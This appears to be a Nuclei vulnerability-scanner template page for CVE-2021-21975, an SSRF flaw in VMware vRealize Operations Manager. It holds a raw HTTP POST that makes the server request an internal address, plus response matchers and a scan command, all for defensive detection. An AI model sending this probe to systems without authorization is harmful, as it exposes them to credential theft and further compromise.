vRealize Operations Manager API - Server-Side Request Forgery

ID: CVE-2021-21975

Severity: high

Author: luci

Tags: cve2021,cve,kev,packetstorm,ssrf,vmware,vrealize

Description

vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.

YAML Source

id: CVE-2021-21975

info:
  name: vRealize Operations Manager API - Server-Side Request Forgery
  author: luci
  severity: high
  description: vRealize Operations Manager API is susceptible to server-side request forgery. A malicious actor with network access to the vRealize Operations Manager API can steal administrative credentials or trigger remote code execution using CVE-2021-21983.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Apply the necessary security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0004.html
    - http://packetstormsecurity.com/files/162349/VMware-vRealize-Operations-Manager-Server-Side-Request-Forgery-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21975
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-21975
    cwe-id: CWE-918
    epss-score: 0.96694
    epss-percentile: 0.99569
    cpe: cpe:2.3:a:vmware:cloud_foundation:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve2021,cve,kev,packetstorm,ssrf,vmware,vrealize

http:
  - raw:
      - |
        POST /casa/nodes/thumbprints HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        ["127.0.0.1:443/ui/"]

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'vRealize Operations Manager'
          - 'thumbprint'
          - 'address'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cd57f59b7311c3c46f3e15dc7be0b01f497f34af43835ea84c8559542358226102206f0c150e3c2e9287d3b330144862d190c2f273040b80366b3535bd934c606914:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21975.yaml"

View on Github